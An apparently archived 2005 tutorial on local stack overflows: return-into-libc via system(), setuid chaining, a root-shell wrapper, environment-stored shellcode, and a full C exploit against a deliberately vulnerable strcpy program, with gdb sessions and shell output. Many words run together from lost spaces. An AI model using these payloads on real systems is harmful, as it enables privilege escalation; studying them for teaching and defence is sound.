Local Stack Overflow (Advanced Module)
---------[ Chapter : 0x200 ]
---------[ Subject : Local Stack Overflow (AdvcancedModule) ]
---------[ Author : xgc/dx A.K.A Thyago Silva ]
---------[ Date : 09/10/2005 ]
---------[ Version : 2.1 ]
|=-----------------------------------------------------------------------------=|
---------[ Table of Contents ]
0x210 -Objective
0x220 -Requisites
0x230 -Introduction to Returning Into Libc
0x240 -Introduction to System Function
0x250 -Analysis of Vulnerable Source Code
0x260 -Getting Informations
0x270 -Returning Into System Function
0x280 - SetuidCall
0x290 - UsingWrapper
0x2a0 - UsingEnvironment to Small Buffers
0x2b0 -Analisys of Exploit Source C Code
0x2c0 -Conclusion
|=-----------------------------------------------------------------------------=|
---------[ 0x210 - Objective ]
Execute code when the stack has enable to don'texecute code.
Execute code when buffer isn't big enough for theshellcode.
---------[ 0x220 - Requisites ]
Introduction to Local Stack Overflow (Basic Module).
---------[ 0x230 - Introduction to Returning Into Libc]
Most applications never need to execute anything onthe stack, so an obvious defense
against buffer overflow exploits is to make the stacknon-executable. When this is done,
shellcode existing anywhere on the stack is basicallyuseless.
This type of defense will stop the majority ofexploits out there, and it is becoming more
popular. The latest version of OpenBSD has anon-executable stack by default.
Of course, there is a corresponding technique that canbe used to exploit programs in an
environment with a non-executable stack. Thistechnique is known as returning into libc.
Libc is a standard C library that contains variousbasic functions, like printf() and exit().
These functions are shared, so any program that usesthe printf() function directs execution
into the appropriate location in libc. An exploit cando the exact same thing and direct a
program's execution into a certain function in libc.The functionality of the exploit is
limited by the functions in libc, which is asignificant restriction when compared to
arbitrary shellcode. However, nothing is ever executedon the stack.
---------[ 0x240 - Introduction to System Function ]
A point of interest is how to get the argument tosystem function. Essentially, what we do
is pass a pointer to the string (/bin/sh) we wantexecuted. We know that normally when a
program executes a function the arguments get pushedonto the stack in reverse order.
It is what happens next that is of interest to us andwill allow us to pass parameters to
system function.
First, a CALL instruction is executed. This CALL willpush the address of the next instruction
(where we want to return to) onto the stack. It willalso decrement ESP by 4. When we return from
a function called, RET (or EIP) will be popped off thestack. ESP is then set to the address
directly following RET.
Now comes the actual return to system function. Calledfunction assumes that ESP is already
pointing to the address that should be returned to. Itis going to also assume that the
parameters are sitting there waiting for it on thestack, starting with the first argument
following RET. This is normal stack behavior describedat basic module. We set the return to
system function and the argument (in our example, thiswill be a pointer to /bin/sh) in those
8 bytes. When Called function returns, it will returninto system function, and its has our
values waiting for it on the stack.
Now you need to understand the basics of thetechnique. Let.s take a look at the preparatory
work we must accomplish in order to make a Return tolibc exploit via system function:
1. Get theaddress of system().
2. Get theaddress of exit().
3. Get theaddress of string "/bin/sh".
---------[ 0x250 - Analysis of Vulnerable Source Code]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buff[4];
if(argc != 2){
printf("Needs an argument!\n");
exit(-1);
}
strcpy(buff,argv[1]);
return 1;
}
This program allows anybody, who exceeds the bounds ofthe variable buff, to overwrite
data on the stack. It would usually be quite easy towrite an exploit for the above example
program, but let's assume that at our system wasenabled a non-executable stack as a security
measure.
---------[ 0x260 - Getting Informations ]
The location of the system and exit functions in libcmust be determined. This will be different
for every system, but once the location is known, itwill remain the same until libc is recompiled.
One of the easiest ways to find the location of a libcfunction is to create a simple dummy program
and debug it.
#include <stdio.h>
int main() {
return 1;
}
[xgc@knowledge:~]$ gcc -o dummy dummy.c -Wall
[xgc@knowledge:~]$ gdb ./dummy -q
Using host libthread_db library"/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x804835a
(gdb) run
Starting program: /home/xgc/dummy
Breakpoint 1, 0x0804835a in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x4005b810<system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0x40046b00<exit>
(gdb)
I ran gdb ready to debug our dummy program, and toldto report breakpoint before running the
dummy program. By examining the report, I get the location of the libc function systemand
exit in memory. However, we still need to know how wecan store the string "/bin/sh" in memory
and ultimately reference it whenever needed.
Maybe we could use an environmental variable to holdthe string? Yes, an environmental variable
would be ideal for this task, so let's create and usean environment variable called KNOWLEDGE to
store our string ("/bin/sh"). But how are wegoing to know the memory address of our environment
variable and our string ? We can write a simpleutility program to grab the memory address of the
environmental variable. Consider the following code:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
char *pointer;
if(argc != 2){
printf("Usage: %s <variable>\n", argv[0]);
exit(-1);
}
pointer =getenv(argv[1]);
if(pointer ==NULL) {
printf("Environmental variable %s does not exist!\n",argv[1]);
exit(-1);
}
printf("%sis stored at address 0x%08x\n", argv[1], pointer);
return 1;
}
[xgc@knowledge:~]$ exportKNOWLEDGE="/bin/sh"
[xgc@knowledge:~]$ gcc -o catch catch.c
[xgc@knowledge:~]$ ./catch KNOWLEDGE
KNOWLEDGE is stored at address 0xbfffffe2
[xgc@knowledge:~]$
So now, we have all necessary informations to exploitthe vulnerable source code given.
The layout of our malicious buffer will looks like:
|-------------------------------|-------------|------------|------------|
| data to overflow buffer | &system | &exit | /bin/sh |
|-------------------------------|-------------|------------|------------|
We choice exit address becouse this will be wheresystem call returns. It's just for
a clean exploit effect.
---------[ 0x270 - Returning Into system function ]
With the informations, now we need to:
1. Fill thevulnerable buffer up to the return address with garbage data;
2. Overwritethe return address with the address of system();
3. Followsystem() with the address of exit(),
4. Append theaddress of "/bin/sh" string.
[xgc@knowledge:~]$ gcc -o adv_stack adv_stack.c -Wall
[xgc@knowledge:~]$ gdb ./adv_stack -q
Using host libthread_db library"/lib/libthread_db.so.1".
(gdb) run `perl -e 'print "A"x10'`
Starting program: /home/xgc/adv_stack `perl -e 'print"A"x10'`
Program received signal SIGSEGV, Segmentation fault.
0x40004141 in _dl_dst_substitute () from/lib/ld-linux.so.2
(gdb) run `perl -e 'print "A"x12'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xgc/adv_stack `perl -e 'print"A"x12'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
EIP register was overwrite with buffer size: 12bytes.
So, process layout will looks like:
|---------------------------|----------------|--------------|--------------|
| 08A's | 0x4005b810 | 0x40046b00 | 0xbfffffe2 |
|---------------------------|----------------|--------------|--------------|
args EBP EIP
[xgc@knowledge:~]$ gdb ./adv_stack -q
Using host libthread_db library"/lib/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>: push %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: sub $0x18,%esp
0x080483fa <main+6>: and $0xfffffff0,%esp
0x080483fd <main+9>: mov $0x0,%eax
0x08048402 <main+14>: sub %eax,%esp
0x08048404 <main+16>: cmpl $0x2,0x8(%ebp)
0x08048408 <main+20>: je 0x8048422 <main+46>
0x0804840a <main+22>: movl $0x8048554,(%esp)
0x08048411 <main+29>: call 0x80482f8 <_init+56>
0x08048416 <main+34>: movl $0xffffffff,(%esp)
0x0804841d <main+41>: call 0x8048308 <_init+72>
0x08048422 <main+46>: mov 0xc(%ebp),%eax
0x08048425 <main+49>: add $0x4,%eax
0x08048428 <main+52>: mov (%eax),%eax
0x0804842a <main+54>: mov %eax,0x4(%esp)
0x0804842e <main+58>: lea 0xfffffffc(%ebp),%eax
0x08048431 <main+61>: mov %eax,(%esp)
0x08048434 <main+64>: call 0x8048318 <_init+88>
0x08048439 <main+69>: mov $0x1,%eax
0x0804843e <main+74>: leave
0x0804843f <main+75>: ret
---Type <return> to continue, or q<return> to quit---
End of assembler dump.
(gdb) break *main+75
Breakpoint 1 at 0x804843f
(gdb) display/1i $eip
(gdb) run testing.
Starting program: /home/xgc/adv_stack testing.
Breakpoint 1, 0x0804843f in main ()
1: x/i $eip 0x804843f <main+75>: ret
(gdb) run testing.
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xgc/adv_stack testing.
Breakpoint 1, 0x0804843f in main ()
1: x/i $eip 0x804843f <main+75>: ret
(gdb) x/s 0xbffffffa-50
0xbfffffc8: ".28.151.26 22"
(gdb)
0xbfffffd6: "KNOWLEDGE=/bin/sh"
(gdb) x/s 0xbfffffd6+10
0xbfffffe0: "/bin/sh"
(gdb) run `perl -e 'print"A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40","\xe0\xff\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xgc/adv_stack `perl -e 'print"A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40",
"\xe0\xff\xff\xbf"'`
Breakpoint 1, 0x0804843f in main ()
1: x/i $eip 0x804843f <main+75>: ret
(gdb) continue
Continuing.
sh-2.05b$
---------[ 0x280 - Setuid Call ]
In a BugTraq post, Solar Designer suggested chaininglibc calls so a setuid() executes
before the system() call to restore privileges. Thischaining can be done by taking advantage
of the return address value that was previouslyignored. The following series of addresses will
chain a call from setuid() to system(), as shown inthis illustration.
|-----------------|-------------|-------------|---------------|---------------|
| garbage | &setuid | &system | setuid_arg | system_arg |
|-----------------|-------------|-------------|---------------|---------------|
The setuid() call will execute with its argument.Because it's only expecting one argument,
the argument for the system() call will be ignored.After it's finished, execution will
return to the system() function, which will use itsargument as expected.
The idea of chaining calls is quite clever, but thereare other problems inherent in this
method of restoring privileges.
The setuid() argument is expecting an unsigned integervalue, so in order to restore root
level privileges, this value must be 0x00000000.Unfortunately, the buffer is still a string
that will be terminated by null bytes. Avoiding theuse of null bytes, the lowest value that
can be used for this argument is 0x01010101, which hasa decimal value of 16843009. While this
isn't quite the desired result, the concept ofchaining calls still important.
[xgc@knowledge:~]$ gdb ./dummy -q
Using host libthread_db library"/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x804835a
(gdb) run
Starting program: /home/xgc/dummy
Breakpoint 1, 0x0804835a in main ()
(gdb) print setuid
$1 = {<text variable, no debug info>} 0x400c3850<setuid>
(gdb)
Now let's run again the program with informationsabout layout given:
[root@knowledge:/home/xgc]# chown root.root adv_stack
[root@knowledge:/home/xgc]# chmod +s adv_stack
[root@knowledge:/home/xgc]# exit
[xgc@knowledge:~]$ ./adv_stack `perl -e 'print
"A"x8,"\x50\x38\x0c\x40","\x10\xb8\x05\x40","\x01\x01\x01\x01","\xe2\xff\xff\xbf"'`
Segmentation fault
[xgc@knowledge:~]$ ./adv_stack `perl -e 'print
"A"x8,"\x50\x38\x0c\x40","\x10\xb8\x05\x40","\x01\x01\x01\x01","\xdc\xff\xff\xbf"'`
sh: line 1: in/sh: Permission denied
Segmentation fault
[xgc@knowledge:~]$ ./adv_stack `perl -e 'print
"A"x8,"\x50\x38\x0c\x40","\x10\xb8\x05\x40","\x01\x01\x01\x01","\xda\xff\xff\xbf"'`
sh-2.05b$ id
uid=16843009 gid=1000(xgc) egid=0(root)groups=1000(xgc)
sh-2.05b$
The address of the setuid() function is determined thesame way as before, and the chained
libc call is set up as described previously. Asexpected, the uid is set to 16843009, but this
is still far from a root shell. Somehow, a setuid(0)call must be made without terminating the
string early with null bytes.
---------[ 0x290 - Using Wrapper ]
One simple and effective solution is to create awrapper program. This wrapper will set the user ID (and group ID)
to 0 and then spawn a shell. This program doesn't needany special privileges, because the vulnerable suid root
program will be executing it.
#include <stdio.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/sh");
}
[xgc@knowledge:~]$ exportWRAPPER="./wrapper"
[xgc@knowledge:~]$ ./catch WRAPPER
WRAPPER is stored at address 0xbffffefa
[xgc@knowledge:~]$
So, process layout will looks like:
|---------------------------|----------------|--------------|--------------|
| 08A's | 0x4005b810 | 0x40046b00 | 0xbffffef2 |
|---------------------------|----------------|--------------|--------------|
args EBP EIP
[xgc@knowledge:~]$ ./adv_stack `perl -e 'print"A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40","\xf2\xfe\xff\xbf"'`
sh-2.05b# id
uid=0(root) gid=0(root) groups=1000(xgc)
sh-2.05b#
---------[ 0x2a0 - Using Environment to Small Buffers]
Sometimes a buffer will be too small to even fitshellcode into. In this case, the shellcode
can be stashed in an environment variable. Environmentvariables are used by the user shell for
a variety of things, but the key point of interest isthat they are stored in an area of memory
that program execution can be redirected to. So if abuffer is too small to fit the NOP sled,
shellcode, and repeated return address, the sled andshellcode can be stored in an environment
variable with the return address pointing to thataddress in memory. Here is the vulnerable
piece of code, using a buffer that is too small forshellcode:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buff[4];
if(argc != 2){
printf("Needs an argument!\n");
exit(-1);
}
strcpy(buff,argv[1]);
return 1;
}
Because the buffer is only four bytes long, there isno space for shellcode to be inserted.
It must be stored elsewhere. One ideal candidate forholding the shellcode is an environment
variable.
execle() function has one additional argument, whichis the environment that the executing
process should run under. This environment ispresented in the form of an array of pointers to
null-terminated strings for each environment variable,and the environment array itself is
terminated with a null pointer.
This means that an environment containing shellcodecan be created by using an array of pointers,
the first of which points to the shellcode, and thesecond consisting of a null pointer.
Then the execle() function can be called using thisenvironment to execute the second vulnerable
program, overflowing the return address with theaddress of the shellcode. Luckily, the address of
an environment invoked in this manner is easy tocalculate. In Linux, the address will be 0xbffffffa,
minus the length of the environment, minus the lengthof the name of the executed program. Because
this address will be exact, there is no need for anNOP sled. All that's needed in the exploit buffer
is the address, repeated enough times to overflow thereturn address in the stack.
Of course, this technique can also be used without anexploit program. In the bash shell, environment
variables are set and exported using exportVARNAME=value. Using export, Perl, and a few pairs of
grave accents, the shellcode and a generous NOP sledcan be put into the current environment:
[xgc@knowledge:~]$ export SHELLCODE=`perl -e 'print"\x90"x10,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3
\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Let's see where environment variable SHELLCODE islocated inside GDB:
[xgc@knowledge:~]$ gdb ./adv_stack -q
Using host libthread_db library"/lib/libthread_db.so.1".
(gdb) run `perl -e 'print "A"x12'`
Starting program: /home/xgc/adv_stack `perl -e 'print"A"x12'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/128bx $esp
0xbffffad0: 0x00 0x00 0x00 0x00 0x24 0xfb 0xff 0xbf
0xbffffad8: 0x30 0xfb 0xff 0xbf 0x30 0x83 0x04 0x08
0xbffffae0: 0x00 0x00 0x00 0x00 0xd0 0xbc 0x00 0x40
0xbffffae8: 0x74 0xbd 0x14 0x40 0xa0 0x6c 0x01 0x40
0xbffffaf0: 0x02 0x00 0x00 0x00 0x30 0x83 0x04 0x08
0xbffffaf8: 0x00 0x00 0x00 0x00 0x51 0x83 0x04 0x08
0xbffffb00: 0xf4 0x83 0x04 0x08 0x02 0x00 0x00 0x00
0xbffffb08: 0x24 0xfb 0xff 0xbf 0x40 0x84 0x04 0x08
0xbffffb10: 0xa0 0x84 0x04 0x08 0x80 0xc3 0x00 0x40
0xbffffb18: 0x1c 0xfb 0xff 0xbf 0x00 0x00 0x00 0x00
0xbffffb20: 0x02 0x00 0x00 0x00 0x07 0xfc 0xff 0xbf
0xbffffb28: 0x1b 0xfc 0xff 0xbf 0x00 0x00 0x00 0x00
0xbffffb30: 0x28 0xfc 0xff 0xbf 0x55 0xfc 0xff 0xbf
0xbffffb38: 0x65 0xfc 0xff 0xbf 0x70 0xfc 0xff 0xbf
0xbffffb40: 0x91 0xfc 0xff 0xbf 0xa4 0xfc 0xff 0xbf
0xbffffb48: 0xad 0xfc 0xff 0xbf 0xe2 0xfe 0xff 0xbf
(gdb)
0xbffffb50: 0xed 0xfe 0xff 0xbf 0xff 0xfe 0xff 0xbf
0xbffffb58: 0x39 0xff 0xff 0xbf 0x4c 0xff 0xff 0xbf
0xbffffb60: 0x58 0xff 0xff 0xbf 0x66 0xff 0xff 0xbf
0xbffffb68: 0x71 0xff 0xff 0xbf 0x7a 0xff 0xff 0xbf
0xbffffb70: 0x89 0xff 0xff 0xbf 0x91 0xff 0xff 0xbf
0xbffffb78: 0xa9 0xff 0xff 0xbf 0xb5 0xff 0xff 0xbf
0xbffffb80: 0x00 0x00 0x00 0x00 0x10 0x00 0x00 0x00
0xbffffb88: 0xbf 0xfb 0xe9 0x07 0x06 0x00 0x00 0x00
0xbffffb90: 0x00 0x10 0x00 0x00 0x11 0x00 0x00 0x00
0xbffffb98: 0x64 0x00 0x00 0x00 0x03 0x00 0x00 0x00
0xbffffba0: 0x34 0x80 0x04 0x08 0x04 0x00 0x00 0x00
0xbffffba8: 0x20 0x00 0x00 0x00 0x05 0x00 0x00 0x00
0xbffffbb0: 0x07 0x00 0x00 0x00 0x07 0x00 0x00 0x00
0xbffffbb8: 0x00 0x00 0x00 0x40 0x08 0x00 0x00 0x00
0xbffffbc0: 0x00 0x00 0x00 0x00 0x09 0x00 0x00 0x00
0xbffffbc8: 0x30 0x83 0x04 0x08 0x0b 0x00 0x00 0x00
(gdb)
0xbffffbd0: 0xe8 0x03 0x00 0x00 0x0c 0x00 0x00 0x00
0xbffffbd8: 0xe8 0x03 0x00 0x00 0x0d 0x00 0x00 0x00
0xbffffbe0: 0xe8 0x03 0x00 0x00 0x0e 0x00 0x00 0x00
0xbffffbe8: 0xe8 0x03 0x00 0x00 0x0f 0x00 0x00 0x00
0xbffffbf0: 0x02 0xfc 0xff 0xbf 0x00 0x00 0x00 0x00
0xbffffbf8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbffffc00: 0x00 0x00 0x69 0x36 0x38 0x36 0x00 0x2f
0xbffffc08: 0x68 0x6f 0x6d 0x65 0x2f 0x78 0x67 0x63
0xbffffc10: 0x2f 0x61 0x64 0x76 0x5f 0x73 0x74 0x61
0xbffffc18: 0x63 0x6b 0x00 0x41 0x41 0x41 0x41 0x41
0xbffffc20: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x00
0xbffffc28: 0x53 0x48 0x45 0x4c 0x4c 0x43 0x4f 0x44
0xbffffc30: 0x45 0x3d 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffc38: 0x90 0x90 0x90 0x90 0x31 0xc0 0x50 0x68
0xbffffc40: 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69
0xbffffc48: 0x6e 0x89 0xe3 0x50 0x53 0x89 0xe1 0x99
(gdb) x/3s 0xbffffc18
0xbffffc18: "ck"
0xbffffc1b: 'A' <repeats 12 times>
0xbffffc28: "SHELLCODE=\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200"
(gdb) x/s 0xbffffc28+10
0xbffffc32: "\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200"
(gdb)
After finding the address where the environmentvariable SHELLCODE is located, the command x/s is used to
examine just that string. But this address includesthe string "SHELLCODE=", so 16 bytes are added to the
address to provide an address that is locatedsomewhere in the NOP sled.
The debugger has revealed that the address 0xbffffc32is right near the beginning of the NOP sled, and
the shellcode is stored in the environment variableSHELLCODE. Armed with this knowledge, some more Perl,
the vulnerable program can be exploited, as follows.
[xgc@knowledge:~]$ ./adv_stack `perl -e 'print"\x32\xfc\xff\xbf"x3'`
sh-2.05b$
---------[ 0x2b0 - Analisys of Exploit Source C Code ]
Now let's check some exploit source C code:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
/* here is a shellcode variable */
char shellcode[] =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main() {
/* we already know that eip is overwritten with12bytes */
char buff[12];
/* envp is an array of strings, conventionally of theform key=value, which are passed as environment
to the newprogram. we've put shellcode there. */
char *env[2] ={shellcode,NULL};
int i,retaddr, *pointer;
/* here is our simple formula to get shellcodelocation */
retaddr =0xbffffffa - strlen(shellcode) - strlen("./adv_stack");
/* build a loop to add return address many times intothe buff. (retx3) = 12bytes */
pointer = (int*)(buff);
for(i = 0; i< sizeof(buff); i += 4)
*pointer++ =retaddr;
/* here execle executes the vulnerable source codewith buff and the env at envp */
execle("./adv_stack", "adv_stack", buff, NULL, env);
return 0;
}
[xgc@knowledge:~]$ gcc -o exploit exploit.c -Wall
[xgc@knowledge:~]$ ./exploit
sh-2.05b$
---------[ 0x2c0 - Conclusion ]
Methods if the buffer isn't big enough for theshellcode or if some Stack
protections are installed have been described. Withthat, codes not need to
be at stack memory and can be bypassed usingenvironmental variable address.
|=-----------------------------------------------------------------------------=|
# milw0rm.com [2006-03-09]
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